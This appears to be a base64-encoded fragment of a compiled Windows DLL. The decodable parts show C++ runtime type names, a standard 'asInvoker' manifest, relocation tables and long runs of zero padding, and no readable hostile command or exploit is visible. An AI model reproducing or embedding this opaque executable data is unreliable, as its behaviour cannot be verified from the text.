UFFSU1RVVldYWVoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQE0BEAAAAABATQEQAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAANAcBEDgHARA8BwEQQAcBEEQHARBIBwEQTAcBEFAHARBYBwEQYAcBEGgHARB0BwEQgAcBEIgHARCUBwEQmAcBEJwHARCgBwEQpAcBEKgHARCsBwEQsAcBELQHARC4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MjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDZUNlw2ZDZsNnQ2fDYQPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP5w/oD+kP6g/rD+wP7Q/uD+8P8A/xD/sP/A/9D8AAADQAACEAAAADDAQMMw41DjcOOQ47Dj0OPw4BDkMORQ5HDkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXQ5fDk8PkA+RD5IPlw+YD5kPmg+HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwDgAABgAwAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBsMHQwfDCEMIwwlDCcMKQwrDC0MLwwxDDMMNQw3DDkMOww9DD8MAQxDDEUMRwxJDEsMTQxPDFEMUwxVDFcMWQxbDF0MXwxhDGMMZQxnDGkMawxtDG8McQxzDHUMdwx5DHsMfQx/DEEMgwyFDIcMiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDe4N8A3yDfQN9g34DfoN/A3+DcAOAg4EDgYOCA4KDgwODg4QDhIOFA4WDhgOGg4cDh4OIA4iDiQOJg4oDioOLA4uDjAOMg40DjYOOA46DjwOPg4ADkIORA5GDkgOSg5MDk4OUA5SDlQOVg5YDloOXA5eDmAOYg5kDmYOaA5qDmwObg5wDnIOdA52DngOeg58Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6yDrQOtg64DroOvA6+DoAOwg7EDsYOyA7KDswOzg7QDtIO1A7WDtgO2g7cDt4O4A7iDuQO5g7oDuoO7A7uDvAO8g70DvYO+A76DvwO/g7ADwIPBA8GDwgPCg8MDw4PEA8SDxQPFg8YDxoPHA8eDyAPIg8kDyYPKA8qDywPLg8wDzIPNA82DzgPOg88Dz4PAA9CD0QPRg9ID0oPTA9OD1APUg9UD0AAADwAAA4AAAAoD+kP6g/rD+wP7Q/uD+8P8A/xD/IP8w/0D/UP9g/3D/gP+Q/6D/sP/A/9D/4P/w/AAABAJwAAAAAMAQwCDAMMBAwFDAYMBwwIDAkMCgwLDAwMDQwODA8MEAwRDBIMEwwUDBUMFgwXDBgMGQwaDBsMHAwdDB4MHwwgDCEMIgwjDCQMJQwmDCcMKAwpDCoMKwwsDC0MLgwvDDAMMQwyDDMMNAw1DDYMNww4DDkMOgw7DDwMPQw+DD8MAAxBDEIMQwxEDEUMRgxHDEgMSQxABABAFABAAAENgg2mDawNsA2xDbYNtw27DbwNvQ2/DYUNyQ3KDc4Nzw3QDdIN2A3cDd0N4Q3iDeMN5A3mDewN8A3xDfUN9g33DfgN+g3ADgQOBQ4JDgoODA4SDhYOFw4bDhwOIA4hDiIOJA4qDi4OLw41DjkOOg47DjwOAQ5CDkMOSQ5KDlAOVA5VDlkOWg5bDl0OYw5nDmsObA5tDm4Ocw50DnUOdg5FDocOiQ6KDowOkQ6TDpgOmg6fDqEOow6lDqYOpw6pDq4OsA6yDrQOtQ62DrgOvQ6EDswO0w7UDtwO5A7sDu8O9g75DsAPBw8IDw8PEA8YDxoPGw8iDyQPJQ8rDywPMw80DzgPAQ9ED0YPUQ9SD1QPVg9YD1kPWw9gD2gPbw9wD3gPQA+ID5APmA+gD6gPqw+yD7oPgg/KD9IP2g/dD98P8A/1D/kP/Q/ADABADQBAAAAMBwwODBYMHgwoDDgMOQwsDLwM/Qz+DP8MwA0BDQINAw0EDQUNBg0QDlIOcg7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8RDxIPEw8UDxUPFg8XDxgPGQ8aDxsPHA8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ8uDy8PMA8xDzIPMw80DzUPNg83DzgPOQ86DzsPPA89Dz4PPw8AD0EPQg9DD0QPRQ9GD0cPSA9JD0oPSw9VD1kPXQ9hD2UPbQ9wD3EPcg9zD0APgg+DD4QPhQ+GD4cPiA+JD4oPiw+OD48PkA+RD5IPkw+UD5UPlw+YD5oPnA+nD7IPuw+GD8cPyA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA